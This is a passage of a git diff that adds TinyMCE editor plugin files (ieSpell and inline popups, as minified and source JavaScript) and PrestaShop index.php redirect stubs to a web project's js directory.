if (s) + window.open('http://www.iespell.com/download.php', 'ieSpellDownload', ''); + }); + } else + ed.windowManager.alert("Error Loading ieSpell: Exception " + e.number); + } + }); + + // Register buttons + ed.addButton('iespell', {title : 'iespell.iespell_desc', cmd : 'mceIESpell'}); + }, + + getInfo : function() { + return { + longname : 'IESpell (IE Only)', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/iespell', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('iespell', tinymce.plugins.IESpell); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/iespell/index.php b/js/tiny_mce2/plugins/iespell/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/iespell/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/index.php b/js/tiny_mce2/plugins/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/inlinepopups/editor_plugin.js b/js/tiny_mce2/plugins/inlinepopups/editor_plugin.js new file mode 100755 index 0000000..8bb96f9 --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/editor_plugin.js @@ -0,0 +1 @@ +(function(){var d=tinymce.DOM,b=tinymce.dom.Element,a=tinymce.dom.Event,e=tinymce.each,c=tinymce.is;tinymce.create("tinymce.plugins.InlinePopups",{init:function(f,g){f.onBeforeRenderUI.add(function(){f.windowManager=new tinymce.InlineWindowManager(f);d.loadCSS(g+"/skins/"+(f.settings.inlinepopups_skin||"clearlooks2")+"/window.css")})},getInfo:function(){return{longname:"InlinePopups",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.create("tinymce.InlineWindowManager:tinymce.WindowManager",{InlineWindowManager:function(f){var g=this;g.parent(f);g.zIndex=300000;g.count=0;g.windows={}},open:function(s,j){var z=this,i,k="",r=z.editor,g=0,v=0,h,m,o,q,l,x,y,n;s=s||{};j=j||{};if(!s.inline){return z.parent(s,j)}n=z._frontWindow();if(n&&d.get(n.id+"_ifr")){n.focussedElement=d.get(n.id+"_ifr").contentWindow.document.activeElement}if(!s.type){z.bookmark=r.selection.getBookmark(1)}i=d.uniqueId();h=d.getViewPort();s.width=parseInt(s.width||320);s.height=parseInt(s.height||240)+(tinymce.isIE?8:0);s.min_width=parseInt(s.min_width||150);s.min_height=parseInt(s.min_height||100);s.max_width=parseInt(s.max_width||2000);s.max_height=parseInt(s.max_height||2000);s.left=s.left||Math.round(Math.max(h.x,h.x+(h.w/2)-(s.width/2)));s.top=s.top||Math.round(Math.max(h.y,h.y+(h.h/2)-(s.height/2)));s.movable=s.resizable=true;j.mce_width=s.width;j.mce_height=s.height;j.mce_inline=true;j.mce_window_id=i;j.mce_auto_focus=s.auto_focus;z.features=s;z.params=j;z.onOpen.dispatch(z,s,j);if(s.type){k+=" mceModal";if(s.type){k+=" mce"+s.type.substring(0,1).toUpperCase()+s.type.substring(1)}s.resizable=false}if(s.statusbar){k+=" mceStatusbar"}if(s.resizable){k+=" mceResizable"}if(s.minimizable){k+=" mceMinimizable"}if(s.maximizable){k+=" mceMaximizable"}if(s.movable){k+=" mceMovable"}z._addAll(d.doc.body,["div",{id:i,role:"dialog","aria-labelledby":s.type?i+"_content":i+"_title","class":(r.settings.inlinepopups_skin||"clearlooks2")+(tinymce.isIE&&window.getSelection?" ie9":""),style:"width:100px;height:100px"},["div",{id:i+"_wrapper","class":"mceWrapper"+k},["div",{id:i+"_top","class":"mceTop"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_title"},s.title||""]],["div",{id:i+"_middle","class":"mceMiddle"},["div",{id:i+"_left","class":"mceLeft",tabindex:"0"}],["span",{id:i+"_content"}],["div",{id:i+"_right","class":"mceRight",tabindex:"0"}]],["div",{id:i+"_bottom","class":"mceBottom"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_status"},"Content"]],["a",{"class":"mceMove",tabindex:"-1",href:"javascript:;"}],["a",{"class":"mceMin",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMax",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMed",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceClose",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{id:i+"_resize_n","class":"mceResize mceResizeN",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_s","class":"mceResize mceResizeS",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_w","class":"mceResize mceResizeW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_e","class":"mceResize mceResizeE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_nw","class":"mceResize mceResizeNW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_ne","class":"mceResize mceResizeNE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_sw","class":"mceResize mceResizeSW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_se","class":"mceResize mceResizeSE",tabindex:"-1",href:"javascript:;"}]]]);d.setStyles(i,{top:-10000,left:-10000});if(tinymce.isGecko){d.setStyle(i,"overflow","auto")}if(!s.type){g+=d.get(i+"_left").clientWidth;g+=d.get(i+"_right").clientWidth;v+=d.get(i+"_top").clientHeight;v+=d.get(i+"_bottom").clientHeight}d.setStyles(i,{top:s.top,left:s.left,width:s.width+g,height:s.height+v});y=s.url||s.file;if(y){if(tinymce.relaxedDomain){y+=(y.indexOf("?")==-1?"?":"&")+"mce_rdomain="+tinymce.relaxedDomain}y=tinymce._addVer(y)}if(!s.type){d.add(i+"_content","iframe",{id:i+"_ifr",src:'javascript:""',frameBorder:0,style:"border:0;width:10px;height:10px"});d.setStyles(i+"_ifr",{width:s.width,height:s.height});d.setAttrib(i+"_ifr","src",y)}else{d.add(i+"_wrapper","a",{id:i+"_ok","class":"mceButton mceOk",href:"javascript:;",onmousedown:"return false;"},"Ok");if(s.type=="confirm"){d.add(i+"_wrapper","a",{"class":"mceButton mceCancel",href:"javascript:;",onmousedown:"return false;"},"Cancel")}d.add(i+"_middle","div",{"class":"mceIcon"});d.setHTML(i+"_content",s.content.replace("\n","
    "));a.add(i,"keyup",function(f){var p=27;if(f.keyCode===p){s.button_func(false);return a.cancel(f)}});a.add(i,"keydown",function(f){var t,p=9;if(f.keyCode===p){t=d.select("a.mceCancel",i+"_wrapper")[0];if(t&&t!==f.target){t.focus()}else{d.get(i+"_ok").focus()}return a.cancel(f)}})}o=a.add(i,"mousedown",function(t){var u=t.target,f,p;f=z.windows[i];z.focus(i);if(u.nodeName=="A"||u.nodeName=="a"){if(u.className=="mceClose"){z.close(null,i);return a.cancel(t)}else{if(u.className=="mceMax"){f.oldPos=f.element.getXY();f.oldSize=f.element.getSize();p=d.getViewPort();p.w-=2;p.h-=2;f.element.moveTo(p.x,p.y);f.element.resizeTo(p.w,p.h);d.setStyles(i+"_ifr",{width:p.w-f.deltaWidth,height:p.h-f.deltaHeight});d.addClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMed"){f.element.moveTo(f.oldPos.x,f.oldPos.y);f.element.resizeTo(f.oldSize.w,f.oldSize.h);f.iframeElement.resizeTo(f.oldSize.w-f.deltaWidth,f.oldSize.h-f.deltaHeight);d.removeClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMove"){return z._startDrag(i,t,u.className)}else{if(d.hasClass(u,"mceResize")){return z._startDrag(i,t,u.className.substring(13))}}}}}}});q=a.add(i,"click",function(f){var p=f.target;z.focus(i);if(p.nodeName=="A"||p.nodeName=="a"){switch(p.className){case"mceClose":z.close(null,i);return a.cancel(f);case"mceButton mceOk":case"mceButton mceCancel":s.button_func(p.className=="mceButton mceOk");return a.cancel(f)}}});a.add([i+"_left",i+"_right"],"focus",function(p){var t=d.get(i+"_ifr");if(t){var f=t.contentWindow.document.body;var u=d.select(":input:enabled,*[tabindex=0]",f);if(p.target.id===(i+"_left")){u[u.length-1].focus()}else{u[0].focus()}}else{d.get(i+"_ok").focus()}});x=z.windows[i]={id:i,mousedown_func:o,click_func:q,element:new b(i,{blocker:1,container:r.getContainer()}),iframeElement:new b(i+"_ifr"),features:s,deltaWidth:g,deltaHeight:v};x.iframeElement.on("focus",function(){z.focus(i)});if(z.count==0&&z.editor.getParam("dialog_type","modal")=="modal"){d.add(d.doc.body,"div",{id:"mceModalBlocker","class":(z.editor.settings.inlinepopups_skin||"clearlooks2")+"_modalBlocker",style:{zIndex:z.zIndex-1}});d.show("mceModalBlocker");d.setAttrib(d.doc.body,"aria-hidden","true")}else{d.setStyle("mceModalBlocker","z-index",z.zIndex-1)}if(tinymce.isIE6||/Firefox\/2\./.test(navigator.userAgent)||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceModalBlocker",{position:"absolute",left:h.x,top:h.y,width:h.w-2,height:h.h-2})}d.setAttrib(i,"aria-hidden","false");z.focus(i);z._fixIELayout(i,1);if(d.get(i+"_ok")){d.get(i+"_ok").focus()}z.count++;return x},focus:function(h){var g=this,f;if(f=g.windows[h]){f.zIndex=this.zIndex++;f.element.setStyle("zIndex",f.zIndex);f.element.update();h=h+"_wrapper";d.removeClass(g.lastId,"mceFocus");d.addClass(h,"mceFocus");g.lastId=h;if(f.focussedElement){f.focussedElement.focus()}else{if(d.get(h+"_ok")){d.get(f.id+"_ok").focus()}else{if(d.get(f.id+"_ifr")){d.get(f.id+"_ifr").focus()}}}}},_addAll:function(k,h){var g,l,f=this,j=tinymce.DOM;if(c(h,"string")){k.appendChild(j.doc.createTextNode(h))}else{if(h.length){k=k.appendChild(j.create(h[0],h[1]));for(g=2;gf){g=h;f=h.zIndex}});return g},setTitle:function(f,g){var h;f=this._findId(f);if(h=d.get(f+"_title")){h.innerHTML=d.encode(g)}},alert:function(g,f,j){var i=this,h;h=i.open({title:i,type:"alert",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},confirm:function(g,f,j){var i=this,h;h=i.open({title:i,type:"confirm",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},_findId:function(f){var g=this;if(typeof(f)=="string"){return f}e(g.windows,function(h){var i=d.get(h.id+"_ifr");if(i&&f==i.contentWindow){f=h.id;return false}});return f},_fixIELayout:function(i,h){var f,g;if(!tinymce.isIE6){return}e(["n","s","w","e","nw","ne","sw","se"],function(j){var k=d.get(i+"_resize_"+j);d.setStyles(k,{width:h?k.clientWidth:"",height:h?k.clientHeight:"",cursor:d.getStyle(k,"cursor",1)});d.setStyle(i+"_bottom","bottom","-1px");k=0});if(f=this.windows[i]){f.element.hide();f.element.show();e(d.select("div,a",i),function(k,j){if(k.currentStyle.backgroundImage!="none"){g=new Image();g.src=k.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/,"$1")}});d.get(i).style.filter=""}}});tinymce.PluginManager.add("inlinepopups",tinymce.plugins.InlinePopups)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/inlinepopups/editor_plugin_src.js b/js/tiny_mce2/plugins/inlinepopups/editor_plugin_src.js new file mode 100755 index 0000000..2a6f3ad --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/editor_plugin_src.js @@ -0,0 +1,699 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var DOM = tinymce.DOM, Element = tinymce.dom.Element, Event = tinymce.dom.Event, each = tinymce.each, is = tinymce.is; + + tinymce.create('tinymce.plugins.InlinePopups', { + init : function(ed, url) { + // Replace window manager + ed.onBeforeRenderUI.add(function() { + ed.windowManager = new tinymce.InlineWindowManager(ed); + DOM.loadCSS(url + '/skins/' + (ed.settings.inlinepopups_skin || 'clearlooks2') + "/window.css"); + }); + }, + + getInfo : function() { + return { + longname : 'InlinePopups', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + tinymce.create('tinymce.InlineWindowManager:tinymce.WindowManager', { + InlineWindowManager : function(ed) { + var t = this; + + t.parent(ed); + t.zIndex = 300000; + t.count = 0; + t.windows = {}; + }, + + open : function(f, p) { + var t = this, id, opt = '', ed = t.editor, dw = 0, dh = 0, vp, po, mdf, clf, we, w, u, parentWindow; + + f = f || {}; + p = p || {}; + + // Run native windows + if (!f.inline) + return t.parent(f, p); + + parentWindow = t._frontWindow(); + if (parentWindow && DOM.get(parentWindow.id + '_ifr')) { + parentWindow.focussedElement = DOM.get(parentWindow.id + '_ifr').contentWindow.document.activeElement; + } + + // Only store selection if the type is a normal window + if (!f.type) + t.bookmark = ed.selection.getBookmark(1); + + id = DOM.uniqueId(); + vp = DOM.getViewPort(); + f.width = parseInt(f.width || 320); + f.height = parseInt(f.height || 240) + (tinymce.isIE ? 8 : 0); + f.min_width = parseInt(f.min_width || 150); + f.min_height = parseInt(f.min_height || 100); + f.max_width = parseInt(f.max_width || 2000); + f.max_height = parseInt(f.max_height || 2000); + f.left = f.left || Math.round(Math.max(vp.x, vp.x + (vp.w / 2.0) - (f.width / 2.0))); + f.top = f.top || Math.round(Math.max(vp.y, vp.y + (vp.h / 2.0) - (f.height / 2.0))); + f.movable = f.resizable = true; + p.mce_width = f.width; + p.mce_height = f.height; + p.mce_inline = true; + p.mce_window_id = id; + p.mce_auto_focus = f.auto_focus; + + // Transpose +// po = DOM.getPos(ed.getContainer()); +// f.left -= po.x; +// f.top -= po.y; + + t.features = f; + t.params = p; + t.onOpen.dispatch(t, f, p); + + if (f.type) { + opt += ' mceModal'; + + if (f.type) + opt += ' mce' + f.type.substring(0, 1).toUpperCase() + f.type.substring(1); + + f.resizable = false; + } + + if (f.statusbar) + opt += ' mceStatusbar'; + + if (f.resizable) + opt += ' mceResizable'; + + if (f.minimizable) + opt += ' mceMinimizable'; + + if (f.maximizable) + opt += ' mceMaximizable'; + + if (f.movable) + opt += ' mceMovable'; + + // Create DOM objects + t._addAll(DOM.doc.body, + ['div', {id : id, role : 'dialog', 'aria-labelledby': f.type ? id + '_content' : id + '_title', 'class' : (ed.settings.inlinepopups_skin || 'clearlooks2') + (tinymce.isIE && window.getSelection ? ' ie9' : ''), style : 'width:100px;height:100px'}, + ['div', {id : id + '_wrapper', 'class' : 'mceWrapper' + opt}, + ['div', {id : id + '_top', 'class' : 'mceTop'}, + ['div', {'class' : 'mceLeft'}], + ['div', {'class' : 'mceCenter'}], + ['div', {'class' : 'mceRight'}], + ['span', {id : id + '_title'}, f.title || ''] + ], + + ['div', {id : id + '_middle', 'class' : 'mceMiddle'}, + ['div', {id : id + '_left', 'class' : 'mceLeft', tabindex : '0'}], + ['span', {id : id + '_content'}], + ['div', {id : id + '_right', 'class' : 'mceRight', tabindex : '0'}] + ], + + ['div', {id : id + '_bottom', 'class' : 'mceBottom'}, + ['div', {'class' : 'mceLeft'}], + ['div', {'class' : 'mceCenter'}], + ['div', {'class' : 'mceRight'}], + ['span', {id : id + '_status'}, 'Content'] + ], + + ['a', {'class' : 'mceMove', tabindex : '-1', href : 'javascript:;'}], + ['a', {'class' : 'mceMin', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {'class' : 'mceMax', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {'class' : 'mceMed', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {'class' : 'mceClose', tabindex : '-1', href : 'javascript:;', onmousedown : 'return false;'}], + ['a', {id : id + '_resize_n', 'class' : 'mceResize mceResizeN', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_s', 'class' : 'mceResize mceResizeS', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_w', 'class' : 'mceResize mceResizeW', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_e', 'class' : 'mceResize mceResizeE', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_nw', 'class' : 'mceResize mceResizeNW', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_ne', 'class' : 'mceResize mceResizeNE', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_sw', 'class' : 'mceResize mceResizeSW', tabindex : '-1', href : 'javascript:;'}], + ['a', {id : id + '_resize_se', 'class' : 'mceResize mceResizeSE', tabindex : '-1', href : 'javascript:;'}] + ] + ] + ); + + DOM.setStyles(id, {top : -10000, left : -10000}); + + // Fix gecko rendering bug, where the editors iframe messed with window contents + if (tinymce.isGecko) + DOM.setStyle(id, 'overflow', 'auto'); + + // Measure borders + if (!f.type) { + dw += DOM.get(id + '_left').clientWidth; + dw += DOM.get(id + '_right').clientWidth; + dh += DOM.get(id + '_top').clientHeight; + dh += DOM.get(id + '_bottom').clientHeight; + } + + // Resize window + DOM.setStyles(id, {top : f.top, left : f.left, width : f.width + dw, height : f.height + dh}); + + u = f.url || f.file; + if (u) { + if (tinymce.relaxedDomain) + u += (u.indexOf('?') == -1 ? '?' : '&') + 'mce_rdomain=' + tinymce.relaxedDomain; + + u = tinymce._addVer(u); + } + + if (!f.type) { + DOM.add(id + '_content', 'iframe', {id : id + '_ifr', src : 'javascript:""', frameBorder : 0, style : 'border:0;width:10px;height:10px'}); + DOM.setStyles(id + '_ifr', {width : f.width, height : f.height}); + DOM.setAttrib(id + '_ifr', 'src', u); + } else { + DOM.add(id + '_wrapper', 'a', {id : id + '_ok', 'class' : 'mceButton mceOk', href : 'javascript:;', onmousedown : 'return false;'}, 'Ok'); + + if (f.type == 'confirm') + DOM.add(id + '_wrapper', 'a', {'class' : 'mceButton mceCancel', href : 'javascript:;', onmousedown : 'return false;'}, 'Cancel'); + + DOM.add(id + '_middle', 'div', {'class' : 'mceIcon'}); + DOM.setHTML(id + '_content', f.content.replace('\n', '
    ')); + + Event.add(id, 'keyup', function(evt) { + var VK_ESCAPE = 27; + if (evt.keyCode === VK_ESCAPE) { + f.button_func(false); + return Event.cancel(evt); + } + }); + + Event.add(id, 'keydown', function(evt) { + var cancelButton, VK_TAB = 9; + if (evt.keyCode === VK_TAB) { + cancelButton = DOM.select('a.mceCancel', id + '_wrapper')[0]; + if (cancelButton && cancelButton !== evt.target) { + cancelButton.focus(); + } else { + DOM.get(id + '_ok').focus(); + } + return Event.cancel(evt); + } + }); + } + + // Register events + mdf = Event.add(id, 'mousedown', function(e) { + var n = e.target, w, vp; + + w = t.windows[id]; + t.focus(id); + + if (n.nodeName == 'A' || n.nodeName == 'a') { + if (n.className == 'mceClose') { + t.close(null, id); + return Event.cancel(e); + } else if (n.className == 'mceMax') { + w.oldPos = w.element.getXY(); + w.oldSize = w.element.getSize(); + + vp = DOM.getViewPort(); + + // Reduce viewport size to avoid scrollbars + vp.w -= 2; + vp.h -= 2; + + w.element.moveTo(vp.x, vp.y); + w.element.resizeTo(vp.w, vp.h); + DOM.setStyles(id + '_ifr', {width : vp.w - w.deltaWidth, height : vp.h - w.deltaHeight}); + DOM.addClass(id + '_wrapper', 'mceMaximized'); + } else if (n.className == 'mceMed') { + // Reset to old size + w.element.moveTo(w.oldPos.x, w.oldPos.y); + w.element.resizeTo(w.oldSize.w, w.oldSize.h); + w.iframeElement.resizeTo(w.oldSize.w - w.deltaWidth, w.oldSize.h - w.deltaHeight); + + DOM.removeClass(id + '_wrapper', 'mceMaximized'); + } else if (n.className == 'mceMove') + return t._startDrag(id, e, n.className); + else if (DOM.hasClass(n, 'mceResize')) + return t._startDrag(id, e, n.className.substring(13)); + } + }); + + clf = Event.add(id, 'click', function(e) { + var n = e.target; + + t.focus(id); + + if (n.nodeName == 'A' || n.nodeName == 'a') { + switch (n.className) { + case 'mceClose': + t.close(null, id); + return Event.cancel(e); + + case 'mceButton mceOk': + case 'mceButton mceCancel': + f.button_func(n.className == 'mceButton mceOk'); + return Event.cancel(e); + } + } + }); + + // Make sure the tab order loops within the dialog. + Event.add([id + '_left', id + '_right'], 'focus', function(evt) { + var iframe = DOM.get(id + '_ifr'); + if (iframe) { + var body = iframe.contentWindow.document.body; + var focusable = DOM.select(':input:enabled,*[tabindex=0]', body); + if (evt.target.id === (id + '_left')) { + focusable[focusable.length - 1].focus(); + } else { + focusable[0].focus(); + } + } else { + DOM.get(id + '_ok').focus(); + } + }); + + // Add window + w = t.windows[id] = { + id : id, + mousedown_func : mdf, + click_func : clf, + element : new Element(id, {blocker : 1, container : ed.getContainer()}), + iframeElement : new Element(id + '_ifr'), + features : f, + deltaWidth : dw, + deltaHeight : dh + }; + + w.iframeElement.on('focus', function() { + t.focus(id); + }); + + // Setup blocker + if (t.count == 0 && t.editor.getParam('dialog_type', 'modal') == 'modal') { + DOM.add(DOM.doc.body, 'div', { + id : 'mceModalBlocker', + 'class' : (t.editor.settings.inlinepopups_skin || 'clearlooks2') + '_modalBlocker', + style : {zIndex : t.zIndex - 1} + }); + + DOM.show('mceModalBlocker'); // Reduces flicker in IE + DOM.setAttrib(DOM.doc.body, 'aria-hidden', 'true'); + } else + DOM.setStyle('mceModalBlocker', 'z-index', t.zIndex - 1); + + if (tinymce.isIE6 || /Firefox\/2\./.test(navigator.userAgent) || (tinymce.isIE && !DOM.boxModel)) + DOM.setStyles('mceModalBlocker', {position : 'absolute', left : vp.x, top : vp.y, width : vp.w - 2, height : vp.h - 2}); + + DOM.setAttrib(id, 'aria-hidden', 'false'); + t.focus(id); + t._fixIELayout(id, 1); + + // Focus ok button + if (DOM.get(id + '_ok')) + DOM.get(id + '_ok').focus(); + t.count++; + + return w; + }, + + focus : function(id) { + var t = this, w; + + if (w = t.windows[id]) { + w.zIndex = this.zIndex++; + w.element.setStyle('zIndex', w.zIndex); + w.element.update(); + + id = id + '_wrapper'; + DOM.removeClass(t.lastId, 'mceFocus'); + DOM.addClass(id, 'mceFocus'); + t.lastId = id; + + if (w.focussedElement) { + w.focussedElement.focus(); + } else if (DOM.get(id + '_ok')) { + DOM.get(w.id + '_ok').focus(); + } else if (DOM.get(w.id + '_ifr')) { + DOM.get(w.id + '_ifr').focus(); + } + } + }, + + _addAll : function(te, ne) { + var i, n, t = this, dom = tinymce.DOM; + + if (is(ne, 'string')) + te.appendChild(dom.doc.createTextNode(ne)); + else if (ne.length) { + te = te.appendChild(dom.create(ne[0], ne[1])); + + for (i=2; i ix) { + fw = w; + ix = w.zIndex; + } + }); + return fw; + }, + + setTitle : function(w, ti) { + var e; + + w = this._findId(w); + + if (e = DOM.get(w + '_title')) + e.innerHTML = DOM.encode(ti); + }, + + alert : function(txt, cb, s) { + var t = this, w; + + w = t.open({ + title : t, + type : 'alert', + button_func : function(s) { + if (cb) + cb.call(s || t, s); + + t.close(null, w.id); + }, + content : DOM.encode(t.editor.getLang(txt, txt)), + inline : 1, + width : 400, + height : 130 + }); + }, + + confirm : function(txt, cb, s) { + var t = this, w; + + w = t.open({ + title : t, + type : 'confirm', + button_func : function(s) { + if (cb) + cb.call(s || t, s); + + t.close(null, w.id); + }, + content : DOM.encode(t.editor.getLang(txt, txt)), + inline : 1, + width : 400, + height : 130 + }); + }, + + // Internal functions + + _findId : function(w) { + var t = this; + + if (typeof(w) == 'string') + return w; + + each(t.windows, function(wo) { + var ifr = DOM.get(wo.id + '_ifr'); + + if (ifr && w == ifr.contentWindow) { + w = wo.id; + return false; + } + }); + + return w; + }, + + _fixIELayout : function(id, s) { + var w, img; + + if (!tinymce.isIE6) + return; + + // Fixes the bug where hover flickers and does odd things in IE6 + each(['n','s','w','e','nw','ne','sw','se'], function(v) { + var e = DOM.get(id + '_resize_' + v); + + DOM.setStyles(e, { + width : s ? e.clientWidth : '', + height : s ? e.clientHeight : '', + cursor : DOM.getStyle(e, 'cursor', 1) + }); + + DOM.setStyle(id + "_bottom", 'bottom', '-1px'); + + e = 0; + }); + + // Fixes graphics glitch + if (w = this.windows[id]) { + // Fixes rendering bug after resize + w.element.hide(); + w.element.show(); + + // Forced a repaint of the window + //DOM.get(id).style.filter = ''; + + // IE has a bug where images used in CSS won't get loaded + // sometimes when the cache in the browser is disabled + // This fix tries to solve it by loading the images using the image object + each(DOM.select('div,a', id), function(e, i) { + if (e.currentStyle.backgroundImage != 'none') { + img = new Image(); + img.src = e.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/, '$1'); + } + }); + + DOM.get(id).style.filter = ''; + } + } + }); + + // Register plugin + tinymce.PluginManager.add('inlinepopups', tinymce.plugins.InlinePopups); +})(); + diff --git a/js/tiny_mce2/plugins/inlinepopups/index.php b/js/tiny_mce2/plugins/inlinepopups/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/alert.gif b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/alert.gif new file mode 100755 index 0000000..2191398 Binary files /dev/null and b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/alert.gif differ diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/button.gif b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/button.gif new file mode 100755 index 0000000..f957e49 Binary files /dev/null and b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/button.gif differ diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif new file mode 100755 index 0000000..6baf64a Binary files /dev/null and b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif differ diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif new file mode 100755 index 0000000..20acbbf Binary files /dev/null and b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif differ diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/corners.gif b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/corners.gif new file mode 100755 index 0000000..d5de1cc Binary files /dev/null and b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/corners.gif differ diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif new file mode 100755 index 0000000..c2a2ad4 Binary files /dev/null and b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif differ diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/index.php b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif 